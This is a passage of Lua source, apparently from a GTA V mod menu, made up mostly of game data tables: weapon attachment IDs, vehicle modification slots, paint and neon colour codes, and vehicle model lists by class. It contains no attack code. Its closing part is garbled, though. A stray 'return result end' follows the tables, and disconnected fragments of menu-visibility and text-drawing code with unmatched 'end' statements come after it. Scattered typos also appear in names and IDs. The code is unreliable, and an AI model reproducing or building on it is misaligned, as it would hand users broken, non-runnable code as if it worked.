name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}, BullpupRifle = {
id = "weapon_bullpuprifle", name = "∑Bullpup Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_BULLPUPRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_BULLPUPRIFLE_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_SMALL"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, BullpupRifleMkII = {
id = "weapon_bullpuprifle_mk2", name = "∑Bullpup Rifle Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_INCENDIARY"
}, {
name = "Armor Piercing Rounds", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_02_MK2"
}, {
name = "Medium Scope", id =
"COMPONENT_AT_SCOPE_SMALL_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_BP_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_BP_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, CompactRifle = {
id = "weapon_compactrifle", name = "∑Compact Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMPACTRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMPACTRIFLE_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_COMPACTRIFLE_CLIP_03"
}
}
}
}
}, LMG = {
MG = {
id = "weapon_mg", name = "∑MG", bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id = "COMPONENT_MG_CLIP_01"
}, {
name = "Extended Magazine", id = "COMPONENT_MG_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_SMALL_02"
}
}
}
}, CombatMG = {
id = "weapon_combatmg", name = "∑Combat MG", bInfAmmo = false, mods
= {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMBATMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMBATMG_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MEDIUM"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, CombatMGMkII = {
id = "weapon_combatmg_mk2", name = "∑Combat MG Mk II", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMBATMG_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMBATMG_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_COMBATMG_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_COMBATMG_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_COMBATMG_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_COMBATMG_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Medium Scope", id =
"COMPONENT_AT_SCOPE_SMALL_MK2"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_MG_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_MG_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}, GusenbergSweeper = {
id = "weapon_gusenberg", name = "∑GusenbergSweeper", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_GUSENBERG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_GUSENBERG_CLIP_02"
}
}
}
}
}, Snipers = {
SniperRifle = {
id = "weapon_sniperrifle", name = "∑Sniper Rifle", bInfAmmo =
false, mods = {
Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_LARGE"
}, {
name = "Advanced Scope", id = "COMPONENT_AT_SCOPE_MAX"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}
}
}, HeavySniper = {
id = "weapon_heavysniper", name = "Heavy Sniper", bInfAmmo = false,
mods = {
Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_LARGE"
}, {
name = "Advanced Scope", id = "COMPONENT_AT_SCOPE_MAX"
}
}
}
}, HeavySniperMkII = {
id = "weapon_heavysniper_mk2", name = "Heavy Sniper Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_02"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_INCENDIARY"
}, {
name = "Armor Piercing Rounds", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_FMJ"
}, {
name = "Explosive Rounds", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_EXPLOSIVE"
}
}, Sights = {
{
name = "Zoom Scope", id =
"COMPONENT_AT_SCOPE_LARGE_MK2"
}, {
name = "Advanced Scope", id = "COMPONENT_AT_SCOPE_MAX"
}, {
name = "Nigt Vision Scope", id =
"COMPONENT_AT_SCOPE_NV"
}, {
name = "Thermal Scope", id =
"COMPONENT_AT_SCOPE_THERMAL"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_SR_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_SR_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_SR_SUPP_03"
}, {
name = "Squared Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_08"
}, {
name = "Bell-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_09"
}
}
}
}, MarksmanRifle = {
id = "weapon_marksmanrifle", name = "∑Marksman Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MARKSMANRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MARKSMANRIFLE_CLIP_02"
}
}, Sights = {
{
name = "Scope", id =
"COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, MarksmanRifleMkII = {
id = "weapon_marksmanrifle_mk2", name = "∑Marksman Rifle Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_FMJ "
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}, {
name = "Zoom Scope", id =
"COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_MRFL_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_MRFL_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}
}, Heavy = {
RPG = {
id = "weapon_rpg", name = "∑RPG", bInfAmmo = false, mods = {}
}, GrenadeLauncher = {
id = "weapon_grenadelauncher", name = "∑Grenade Launcher", bInfAmmo
= false, mods = {}
}, GrenadeLauncherSmoke = {
id = "weapon_grenadelauncher_smoke", name = "∑Grenade Launcher
Smoke", bInfAmmo = false, mods = {}
}, Minigun = {
id = "weapon_minigun", name = "∑Minigun", bInfAmmo = false, mods =
{}
}, FireworkLauncher = {
id = "weapon_firework", name = "∑Firework Launcher", bInfAmmo =
false, mods = {}
}, Railgun = {
id = "weapon_railgun", name = "∑Railgun", bInfAmmo = false, mods =
{}
}, HomingLauncher = {
id = "weapon_hominglauncher", name = "∑Homing Launcher", bInfAmmo =
false, mods = {}
}, CompactGrenadeLauncher = {
id = "weapon_compactlauncher", name = "∑Compact Grenade Launcher",
bInfAmmo = false, mods = {}
}, Widowmaker = {
id = "weapon_rayminigun", name = "∑Widowmaker", bInfAmmo = false,
mods = {}
}
}, Throwables = {
Grenade = {
id = "weapon_grenade", name = "∑Grenade", bInfAmmo = false, mods =
{}
}, BZGas = {
id = "weapon_bzgas", name = "∑BZ Gas", bInfAmmo = false, mods = {}
}, MolotovCocktail = {
id = "weapon_molotov", name = "∑Molotov Cocktail", bInfAmmo =
false, mods = {}
}, StickyBomb = {
id = "weapon_stickybomb", name = "∑Sticky Bomb", bInfAmmo = false,
mods = {}
}, ProximityMines = {
id = "weapon_proxmine", name = "∑Proximity Mines", bInfAmmo =
false, mods = {}
}, Snowballs = {
id = "weapon_snowball", name = "∑Snowballs", bInfAmmo = false, mods
= {}
}, PipeBombs = {
id = "weapon_pipebomb", name = "∑Pipe Bombs", bInfAmmo = false,
mods = {}
}, Baseball = {
id = "weapon_ball", name = "∑Baseball", bInfAmmo = false, mods = {}
}, TearGas = {
id = "weapon_smokegrenade", name = "∑Tear Gas", bInfAmmo = false,
mods = {}
}, Flare = {
id = "weapon_flare", name = "∑Flare", bInfAmmo = false, mods = {}
}
}, Misc = {
Parachute = {
id = "gadget_parachute", name = "∑Parachute", bInfAmmo = false,
mods = {}
}, FireExtinguisher = {
id = "weapon_fireextinguisher", name = "∑Fire Extinguisher",
bInfAmmo = false, mods = {}
}
}
}
local bd = {
{
name = "Spoilers", id = 0
}, {
name = "Front Bumper", id = 1
}, {
name = "Rear Bumper", id = 2
}, {
name = "Side Skirt", id = 3
}, {
name = "Exhaust", id = 4
}, {
name = "Frame", id = 5
}, {
name = "Grille", id = 6
}, {
name = "Hood", id = 7
}, {
name = "Fender", id = 8
}, {
name = "Right Fender", id = 9
}, {
name = "Roof", id = 10
}, {
name = "Vanity Plates", id = 25
}, {
name = "Trim", id = 27
}, {
name = "Ornaments", id = 28
}, {
name = "Dashboard", id = 29
}, {
name = "Dial", id = 30
}, {
name = "Door Speaker", id = 31
}, {
name = "Seats", id = 32
}, {
name = "Steering Wheel", id = 33
}, {
name = "Shifter Leavers", id = 34
}, {
name = "Plaques", id = 35
}, {
name = "Speakers", id = 36
}, {
name = "Trunk", id = 37
}, {
name = "Hydraulics", id = 38
}, {
name = "Engine Block", id = 39
}, {
name = "Air Filter", id = 40
}, {
name = "Struts", id = 41
}, {
name = "Arch Cover", id = 42
}, {
name = "Aerials", id = 43
}, {
name = "Trim 2", id = 44
}, {
name = "Tank", id = 45
}, {
name = "Windows", id = 46
}, {
name = "Livery", id = 48
}, {
name = "Wheels", id = 23
}, {
name = "Wheel Types", id = "wheeltypes"
}, {
name = "Extras", id = "extra"
}, {
name = "Neons", id = "neon"
}, {
name = "Paint", id = "paint"
}, {
name = "Headlights Color", id = "headlight"
}, {
name = "Licence Plate", id = "licence"
}
}
local be = {
{
name = "Engine", id = 11
}, {
name = "Brakes", id = 12
}, {
name = "Transmission", id = 13
}, {
name = "Suspension", id = 15
}
}
local bo = {
{
name = "Default", id = -1
}, {
name = "White", id = 0
}, {
name = "Blue", id = 1
}, {
name = "Electric Blue", id = 2
}, {
name = "Mint Green", id = 3
}, {
name = "Lime Green", id = 4
}, {
name = "Yellow", id = 5
}, {
name = "Golden Shower", id = 6
}, {
name = "Orange", id = 7
}, {
name = "Red", id = 8
}, {
name = "Pony Pink", id = 9
}, {
name = "Hot Pink", id = 10
}, {
name = "Purple", id = 11
}, {
name = "Blacklight", id = 12
}
}
local colors = {
["White"] = {
255, 255, 255
}, ["Blue"] = {
0, 0, 255
}, ["Electric Blue"] = {
0, 150, 255
}, ["Mint Green"] = {
50, 255, 155
}, ["Lime Green"] = {
0, 255, 0
}, ["Yellow"] = {
255, 255, 0
}, ["Golden Shower"] = {
204, 204, 0
}, ["Orange"] = {
255, 128, 0
}, ["Red"] = {
255, 0, 0
}, ["Pony Pink"] = {
255, 102, 255
}, ["Hot Pink"] = {
255, 0, 255
}, ["Purple"] = {
153, 0, 153
}
}
local bg = {
{
name = "Black", id = 0
}, {
name = "Carbon Black", id = 147
}, {
name = "Graphite", id = 1
}, {
name = "Anhracite Black", id = 11
}, {
name = "Black Steel", id = 2
}, {
name = "Dark Steel", id = 3
}, {
name = "Silver", id = 4
}, {
name = "Bluish Silver", id = 5
}, {
name = "Rolled Steel", id = 6
}, {
name = "Shadow Silver", id = 7
}, {
name = "Stone Silver", id = 8
}, {
name = "Midnight Silver", id = 9
}, {
name = "Cast Iron Silver", id = 10
}, {
name = "Red", id = 27
}, {
name = "Torino Red", id = 28
}, {
name = "Formula Red", id = 29
}, {
name = "Lava Red", id = 150
}, {
name = "Blaze Red", id = 30
}, {
name = "Grace Red", id = 31
}, {
name = "Garnet Red", id = 32
}, {
name = "Sunset Red", id = 33
}, {
name = "Cabernet Red", id = 34
}, {
name = "Wine Red", id = 143
}, {
name = "Candy Red", id = 35
}, {
name = "Hot Pink", id = 135
}, {
name = "Pfsiter Pink", id = 137
}, {
name = "Salmon Pink", id = 136
}, {
name = "Sunrise Orange", id = 36
}, {
name = "Orange", id = 38
}, {
name = "Bright Orange", id = 138
}, {
name = "Gold", id = 99
}, {
name = "Bronze", id = 90
}, {
name = "Yellow", id = 88
}, {
name = "Race Yellow", id = 89
}, {
name = "Dew Yellow", id = 91
}, {
name = "Dark Green", id = 49
}, {
name = "Racing Green", id = 50
}, {
name = "Sea Green", id = 51
}, {
name = "Olive Green", id = 52
}, {
name = "Bright Green", id = 53
}, {
name = "Gasoline Green", id = 54
}, {
name = "Lime Green", id = 92
}, {
name = "Midnight Blue", id = 141
}, {
name = "Galaxy Blue", id = 61
}, {
name = "Dark Blue", id = 62
}, {
name = "Saxon Blue", id = 63
}, {
name = "Blue", id = 64
}, {
name = "Mariner Blue", id = 65
}, {
name = "Harbor Blue", id = 66
}, {
name = "Diamond Blue", id = 67
}, {
name = "Surf Blue", id = 68
}, {
name = "Nautical Blue", id = 69
}, {
name = "Racing Blue", id = 73
}, {
name = "Ultra Blue", id = 70
}, {
name = "Light Blue", id = 74
}, {
name = "Chocolate Brown", id = 96
}, {
name = "Bison Brown", id = 101
}, {
name = "Creeen Brown", id = 95
}, {
name = "Feltzer Brown", id = 94
}, {
name = "Maple Brown", id = 97
}, {
name = "Beechwood Brown", id = 103
}, {
name = "Sienna Brown", id = 104
}, {
name = "Saddle Brown", id = 98
}, {
name = "Moss Brown", id = 100
}, {
name = "Woodbeech Brown", id = 102
}, {
name = "Straw Brown", id = 99
}, {
name = "Sandy Brown", id = 105
}, {
name = "Bleached Brown", id = 106
}, {
name = "Schafter Purple", id = 71
}, {
name = "Spinnaker Purple", id = 72
}, {
name = "Midnight Purple", id = 142
}, {
name = "Bright Purple", id = 145
}, {
name = "Cream", id = 107
}, {
name = "Ice White", id = 111
}, {
name = "Frost White", id = 112
}
}
local bi = {
{
name = "Black", id = 12
}, {
name = "Gray", id = 13
}, {
name = "Light Gray", id = 14
}, {
name = "Ice White", id = 131
}, {
name = "Blue", id = 83
}, {
name = "Dark Blue", id = 82
}, {
name = "Midnight Blue", id = 84
}, {
name = "Midnight Purple", id = 149
}, {
name = "Schafter Purple", id = 148
}, {
name = "Red", id = 39
}, {
name = "Dark Red", id = 40
}, {
name = "Orange", id = 41
}, {
name = "Yellow", id = 42
}, {
name = "Lime Green", id = 55
}, {
name = "Green", id = 128
}, {
name = "Forest Green", id = 151
}, {
name = "Foliage Green", id = 155
}, {
name = "Olive Darb", id = 152
}, {
name = "Dark Earth", id = 153
}, {
name = "Desert Tan", id = 154
}
}
local bj = {
{
name = "Brushed Steel", id = 117
}, {
name = "Brushed Black Steel", id = 118
}, {
name = "Brushed Aluminum", id = 119
}, {
name = "Pure Gold", id = 158
}, {
name = "Brushed Gold", id = 159
}
}
local aA = {
"Dinghy", "Dinghy2", "Dinghy3", "Dingh4", "Jetmax", "Marquis", "Seashark",
"Seashark2", "Seashark3", "Speeder", "Speeder2", "Squalo", "Submersible",
"Submersible2", "Suntrap", "Toro", "Toro2", "Tropic", "Tropic2", "Tug"
}
local aB = {
"Benson", "Biff", "Cerberus", "Cerberus2", "Cerberus3", "Hauler",
"Hauler2", "Mule", "Mule2", "Mule3", "Mule4", "Packer", "Phantom", "Phantom2",
"Phantom3", "Pounder", "Pounder2", "Stockade", "Stockade3", "Terbyte"
}
local aC = {
"Blista", "Blista2", "Blista3", "Brioso", "Dilettante", "Dilettante2",
"Issi2", "Issi3", "issi4", "Iss5", "issi6", "Panto", "Prarire", "Rhapsody"
}
local aD = {
"CogCabrio", "Exemplar", "F620", "Felon", "Felon2", "Jackal", "Oracle",
"Oracle2", "Sentinel", "Sentinel2", "Windsor", "Windsor2", "Zion", "Zion2"
}
local aE = {
"Bmx", "Cruiser", "Fixter", "Scorcher", "Tribike", "Tribike2", "tribike3"
}
local aF = {
"ambulance", "FBI", "FBI2", "FireTruk", "PBus", "police", "Police2",
"Police3", "Police4", "PoliceOld1", "PoliceOld2", "PoliceT", "Policeb", "Polmav",
"Pranger", "Predator", "Riot", "Riot2", "Sheriff", "Sheriff2"
}
local aG = {
"Akula", "Annihilator", "Buzzard", "Buzzard2", "Cargobob", "Cargobob2",
"Cargobob3", "Cargobob4", "Frogger", "Frogger2", "Havok", "Hunter", "Maverick",
"Savage", "Seasparrow", "Skylift", "Supervolito", "Supervolito2", "Swift",
"Swift2", "Valkyrie", "Valkyrie2", "Volatus"
}
local aH = {
"Bulldozer", "Cutter", "Dump", "Flatbed", "Guardian", "Handler", "Mixer",
"Mixer2", "Rubble", "Tiptruck", "Tiptruck2"
}
local aI = {
"APC", "Barracks", "Barracks2", "Barracks3", "Barrage", "Chernobog",
"Crusader", "Halftrack", "Khanjali", "Rhino", "Scarab", "Scarab2", "Scarab3",
"Thruster", "Trailersmall2"
}
local aJ = {
"Akuma", "Avarus", "Bagger", "Bati2", "Bati", "BF400", "Blazer4",
"CarbonRS", "Chimera", "Cliffhanger", "Daemon", "Daemon2", "Defiler", "Deathbike",
"Deathbike2", "Deathbike3", "Diablous", "Diablous2", "Double", "Enduro", "esskey",
"Faggio2", "Faggio3", "Faggio", "Fcr2", "fcr", "gargoyle", "hakuchou2", "hakuchou",
"hexer", "innovation", "Lectro", "Manchez", "Nemesis", "Nightblade", "Oppressor",
"Oppressor2", "PCJ", "Ratbike", "Ruffian", "Sanchez2", "Sanchez", "Sanctus",
"Shotaro", "Sovereign", "Thrust", "Vader", "Vindicator", "Vortex", "Wolfsbane",
"zombiea", "zombieb"
}
local aK = {
"Blade", "Buccaneer", "Buccaneer2", "Chino", "Chino2", "clique", "Deviant",
"Dominator", "Dominator2", "Dominator3", "Dominator4", "Dominator5", "Dominator6",
"Dukes", "Dukes2", "Ellie", "Faction", "faction2", "faction3", "Gauntlet",
"Gauntlet2", "Hermes", "Hotknife", "Hustler", "Impaler", "Impaler2", "Impaler3",
"Impaler4", "Imperator", "Imperator2", "Imperator3", "Lurcher", "Moonbeam",
"Moonbeam2", "Nightshade", "Phoenix", "Picador", "RatLoader", "RatLoader2",
"Ruiner", "Ruiner2", "Ruiner3", "SabreGT", "SabreGT2", "Sadler2", "Slamvan",
"Slamvan2", "Slamvan3", "Slamvan4", "Slamvan5", "Slamvan6", "Stalion", "Stalion2",
"Tampa", "Tampa3", "Tulip", "Vamos,", "Vigero", "Virgo", "Virgo2", "Virgo3",
"Voodoo", "Voodoo2", "Yosemite"
}
local aL = {
"BFinjection", "Bifta", "Blazer", "Blazer2", "Blazer3", "Blazer5", "Bohdi",
"Brawler", "Bruiser", "Bruiser2", "Bruiser3", "Caracara", "DLoader", "Dune",
"Dune2", "Dune3", "Dune4", "Dune5", "Insurgent", "Insurgent2", "Insurgent3",
"Kalahari", "Kamacho", "LGuard", "Marshall", "Mesa", "Mesa2", "Mesa3", "Monster",
"Monster4", "Monster5", "Nightshark", "RancherXL", "RancherXL2", "Rebel", "Rebel2",
"RCBandito", "Riata", "Sandking", "Sandking2", "Technical", "Technical2",
"Technical3", "TrophyTruck", "TrophyTruck2", "Freecrawler", "Menacer"
}
local aM = {
"AlphaZ1", "Avenger", "Avenger2", "Besra", "Blimp", "blimp2", "Blimp3",
"Bombushka", "Cargoplane", "Cuban800", "Dodo", "Duster", "Howard", "Hydra", "Jet",
"Lazer", "Luxor", "Luxor2", "Mammatus", "Microlight", "Miljet", "Mogul", "Molotok",
"Nimbus", "Nokota", "Pyro", "Rogue", "Seabreeze", "Shamal", "Starling", "Stunt",
"Titan", "Tula", "Velum", "Velum2", "Vestra", "Volatol", "Striekforce"
}
local aN = {
"BJXL", "Baller", "Baller2", "Baller3", "Baller4", "Baller5", "Baller6",
"Cavalcade", "Cavalcade2", "Dubsta", "Dubsta2", "Dubsta3", "FQ2", "Granger",
"Gresley", "Habanero", "Huntley", "Landstalker", "patriot", "Patriot2", "Radi",
"Rocoto", "Seminole", "Serrano", "Toros", "XLS", "XLS2"
}
local aO = {
"Asea", "Asea2", "Asterope", "Cog55", "Cogg552", "Cognoscenti",
"Cognoscenti2", "emperor", "emperor2", "emperor3", "Fugitive", "Glendale", "ingot",
"intruder", "limo2", "premier", "primo", "primo2", "regina", "romero", "stafford",
"Stanier", "stratum", "stretch", "surge", "tailgater", "warrener", "Washington"
}
local aP = {
"Airbus", "Brickade", "Bus", "Coach", "Rallytruck", "Rentalbus", "taxi",
"Tourbus", "Trash", "Trash2", "WastIndr", "PBus2"
}
local aQ = {
"Alpha", "Banshee", "Banshee2", "BestiaGTS", "Buffalo", "Buffalo2",
"Buffalo3", "Carbonizzare", "Comet2", "Comet3", "Comet4", "Comet5", "Coquette",
"Deveste", "Elegy", "Elegy2", "Feltzer2", "Feltzer3", "FlashGT", "Furoregt",
"Fusilade", "Futo", "GB200", "Hotring", "Infernus2", "Italigto", "Jester",
"Jester2", "Khamelion", "Kurama", "Kurama2", "Lynx", "MAssacro", "MAssacro2",
"neon", "Ninef", "ninfe2", "omnis", "Pariah", "Penumbra", "Raiden", "RapidGT",
"RapidGT2", "Raptor", "Revolter", "Ruston", "Schafter2", "Schafter3", "Schafter4",
"Schafter5", "Schafter6", "Schlagen", "Schwarzer", "Sentinel3", "Seven70",
"Specter", "Specter2", "Streiter", "Sultan", "Surano", "Tampa2", "Tropos",
"Verlierer2", "ZR380", "ZR3802", "ZR3803"
}
local aR = {
"Ardent", "BType", "BType2", "BType3", "Casco", "Cheetah2", "Cheburek",
"Coquette2", "Coquette3", "Deluxo", "Fagaloa", "Gt500", "JB700", "JEster3",
"MAmba", "Manana", "Michelli", "Monroe", "Peyote", "Pigalle", "RapidGT3",
"Retinue", "Savastra", "Stinger", "Stingergt", "Stromberg", "Swinger", "Torero",
"Tornado", "Tornado2", "Tornado3", "Tornado4", "Tornado5", "Tornado6", "Viseris",
"Z190", "ZType"
}
local aS = {
"Adder", "Autarch", "Bullet", "Cheetah", "Cyclone", "EntityXF", "Entity2",
"FMJ", "GP1", "Infernus", "LE7B", "Nero", "Nero2", "Osiris", "Penetrator",
"PFister811", "Prototipo", "Reaper", "SC1", "Scramjet", "Sheava", "SultanRS",
"Superd", "T20", "Taipan", "Tempesta", "Tezeract", "Turismo2", "Turismor",
"Tyrant", "Tyrus", "Vacca", "Vagner", "Vigilante", "Visione", "Voltic", "Voltic2",
"Zentorno", "Italigtb", "Italigtb2", "XA21"
}
local aT = {
"ArmyTanker", "ArmyTrailer", "ArmyTrailer2", "BaleTrailer", "BoatTrailer",
"CableCar", "DockTrailer", "Graintrailer", "Proptrailer", "Raketailer", "TR2",
"TR3", "TR4", "TRFlat", "TVTrailer", "Tanker", "Tanker2", "Trailerlogs",
"Trailersmall", "Trailers", "Trailers2", "Trailers3"
}
local aU = {
"Freight", "Freightcar", "Freightcont1", "Freightcont2", "Freightgrain",
"Freighttrailer", "TankerCar"
}
local aV = {
"Airtug", "Caddy", "Caddy2", "Caddy3", "Docktug", "Forklift", "Mower",
"Ripley", "Sadler", "Scrap", "TowTruck", "Towtruck2", "Tractor", "Tractor2",
"Tractor3", "TrailerLArge2", "Utilitruck", "Utilitruck3", "Utilitruck2"
}
local aW = {
"Bison", "Bison2", "Bison3", "BobcatXL", "Boxville", "Boxville2",
"Boxville3", "Boxville4", "Boxville5", "Burrito", "Burrito2", "Burrito3",
"Burrito4", "Burrito5", "Camper", "GBurrito", "GBurrito2", "Journey", "Minivan",
"Minivan2", "Paradise", "pony", "Pony2", "Rumpo", "Rumpo2", "Rumpo3", "Speedo",
"Speedo2", "Speedo4", "Surfer", "Surfer2", "Taco", "Youga", "youga2"
}
local aX = {
"Boats", "Commercial", "Compacts", "Coupes", "Cycles", "Emergency",
"Helictopers", "Industrial", "Military", "Motorcycles", "Muscle", "Off-Road",
"Planes", "SUVs", "Sedans", "Service", "Sports", "Sports Classic", "Super",
"Trailer", "Trains", "Utility", "Vans"
}
local aY = {
aA, aB, aC, aD, aE, aF, aG, aH, aI, aJ, aK, aL, aM, aN, aO, aP, aQ, aR, aS,
aT, aU, aV, aW
}
return result
end
if visible then
if id ~= currentMenu and isMenuVisible(currentMenu) then
setMenuVisible(currentMenu, false)
end
currentMenu = id
end
end
end
if shadow then
SetTextDropShadow(2, 2, 0, 0, 0)
end
if menus[currentMenu] then
if center then
SetTextCentre(center)
elseif alignRight then
SetTextWrap(menus[currentMenu].x, menus[currentMenu].x +
menus[currentMenu].width - buttonTextXOffset)
SetTextRightJustify(true)
end
end
